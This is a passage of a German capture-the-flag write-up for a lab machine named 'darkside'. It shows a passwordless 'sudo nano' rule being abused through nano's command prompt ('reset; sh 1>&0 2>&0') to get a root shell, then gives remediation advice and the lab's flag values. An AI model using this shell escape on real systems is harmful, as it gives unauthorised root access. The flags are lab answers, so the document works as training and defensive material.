Bewertung: Die Root-Flag wird erfolgreich gefunden und angezeigt. Sie besteht aus ASCII-Art und dem Text `youcametothedarkside`.

Empfehlung (Pentester): Beide Flags wurden gesammelt. Der Test ist erfolgreich abgeschlossen.
Empfehlung (Admin): Sichern Sie die Root-Flag. Beheben Sie die `sudo nano`-Schwachstelle.

# ls
linpeas.sh
systemd-private-f09c238edfd9417595a02ab5d290356b-apache2.service-mIzqVh
systemd-private-f09c238edfd9417595a02ab5d290356b-systemd-logind.service-SYK6Qe
systemd-private-f09c238edfd9417595a02ab5d290356b-systemd-timesyncd.service-anGYoh
                     
# cd ~
# ls
root.txt  vboxpostinstall.sh
# cat root.txt
  ██████╗ █████╗ ██████╗ ██╗  ██╗ ██████╗ ██╗  ██████╗ ███████╗
  ██╔══██╗██╔══██╗██╔══██╗██║  ██╔╝██╔════╝ ██║ ██╔══██╗██╔════╝
  ██║  ██║███████║██████╔╝█████╔╝ ╚█████╗  ██║ ██║  ██║█████╗
  ██║  ██║██╔══██║██╔══██╗██╔═██╗  ╚═══██╗ ██║ ██║  ██║██╔══╝
  ██████╔╝██║  ██║██║  ██║██║╚██╗ ██████╔╝ ██║ ██████╔╝███████╗
  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝ ╚═╝ ╚═════╝  ╚═╝ ╚═════╝ ╚══════╝

youcametothedarkside
                      
#

Analyse: Kommentar, der den erfolgreichen Abschluss der Privilegieneskalation markiert.

Bewertung: Bestätigt die Erlangung von Root-Rechten.

Empfehlung (Pentester): Klare Dokumentation des Weges ist wichtig.
Empfehlung (Admin): Fokus auf die Behebung der `sudo nano`-Schwachstelle.

                                                   Privilege Escalation erfolgreich
                     

Proof of Concept: Ausnutzung der unsicheren sudo nano-Regel

Kurzbeschreibung: Der Benutzer `rijaba` verfügt über die `sudo`-Berechtigung, den Texteditor `nano` als `root` ohne Passwort auszuführen (`NOPASSWD: /usr/bin/nano`). Der `nano`-Editor erlaubt das Ausführen externer Befehle aus seiner Oberfläche heraus. Diese Kombination ermöglicht es `rijaba`, eine interaktive Shell mit Root-Rechten zu starten.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

Analyse Schritt 1: Überprüfen der `sudo`-Berechtigungen für den Benutzer `rijaba`.

Bewertung Schritt 1: Der Befehl `sudo -l` bestätigt die Regel `(root) NOPASSWD: /usr/bin/nano`.

Empfehlung (Pentester): Dies bestätigt den Angriffsvektor.
Empfehlung (Admin): Die Regel ist extrem unsicher und muss entfernt werden.

rijaba@darkside:/tmp$ sudo -l
Matching Defaults entries for rijaba on darkside:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rijaba may run the following commands on darkside:
    (root) NOPASSWD: /usr/bin/nano
                     

Analyse Schritt 2: Starten von `nano` mit `sudo`.

Bewertung Schritt 2: Der `nano`-Editor wird mit Root-Rechten geöffnet.

Empfehlung (Pentester): Bereiten Sie die Tastenkombinationen für den nächsten Schritt vor.
Empfehlung (Admin): Keine Aktion.

rijaba@darkside:/tmp$ sudo nano
# (Nano-Editor öffnet sich)

Analyse Schritt 3: Innerhalb von `nano` die Tastenkombination `Strg+R` (Read File) gefolgt von `Strg+X` (Execute Command) drücken. Am unteren Rand erscheint eine Eingabeaufforderung für den auszuführenden Befehl.

Bewertung Schritt 3: Die Funktion zur Befehlsausführung von `nano` wird aktiviert.

Empfehlung (Pentester): Geben Sie den Shell-Befehl ein.
Empfehlung (Admin): Keine Aktion.

# Innerhalb von nano:
# Strg+R drücken
# Strg+X drücken
# (Am unteren Rand erscheint "Command to execute")
                      

Analyse Schritt 4: Den Befehl `reset; sh 1>&0 2>&0` eingeben und Enter drücken. `reset` setzt das Terminal zurück, `sh` startet eine Shell, und `1>&0 2>&0` leitet deren Standardausgabe und Standardfehlerausgabe auf die Standardeingabe um (notwendig für die Interaktion in `nano`).

Bewertung Schritt 4: Der Befehl wird ausgeführt, und da `nano` mit Root-Rechten lief, wird eine interaktive Root-Shell innerhalb des `nano`-Fensters gestartet. Der `id`-Befehl bestätigt `uid=0(root)`.

Empfehlung (Pentester): Der Exploit war erfolgreich. Sie haben Root-Zugriff.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo nano`-Regel.

# Bei der Aufforderung "Command to execute" eingeben:
reset; sh 1>&0 2>&0 [Enter]

# (Es erscheint eine Shell im nano-Fenster)
                      
# id
uid=0(root) gid=0(root) groups=0(root)
#

Erwartetes Ergebnis: Erfolgreiche Erlangung einer interaktiven Shell mit root-Berechtigungen.

Beweismittel: Die empfangene Shell mit Root-Kennung (`#` Prompt, `uid=0(root)`) nach Ausführung des Befehls in `sudo nano`.

Risikobewertung: Hoch. Diese sudo-Fehlkonfiguration erlaubt einem Benutzer mit spezifischen, aber geringen Rechten die vollständige Kompromittierung des Systems.

Empfehlungen: Entfernen Sie die sudo-Regel `(root) NOPASSWD: /usr/bin/nano`. Vermeiden Sie generell die Erlaubnis, Editoren oder Programme mit Shell-Escape-Möglichkeiten über `sudo` auszuführen. Wenn Editieren als Root notwendig ist, verwenden Sie `sudoedit`.

Flags

cat /home/kevin/user.txt
UnbelievableHumble
cat /root/root.txt
  ██████╗ █████╗ ██████╗ ██╗  ██╗ ██████╗ ██╗  ██████╗ ███████╗
  ██╔══██╗██╔══██╗██╔══██╗██║  ██╔╝██╔════╝ ██║ ██╔══██╗██╔════╝
  ██║  ██║███████║██████╔╝█████╔╝ ╚█████╗  ██║ ██║  ██║█████╗
  ██║  ██║██╔══██║██╔══██╗██╔═██╗  ╚═══██╗ ██║ ██║  ██║██╔══╝
  ██████╔╝██║  ██║██║  ██║██║╚██╗ ██████╔╝ ██║ ██████╔╝███████╗
  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝ ╚═╝ ╚═════╝  ╚═╝ ╚═════╝ ╚══════╝

youcametothedarkside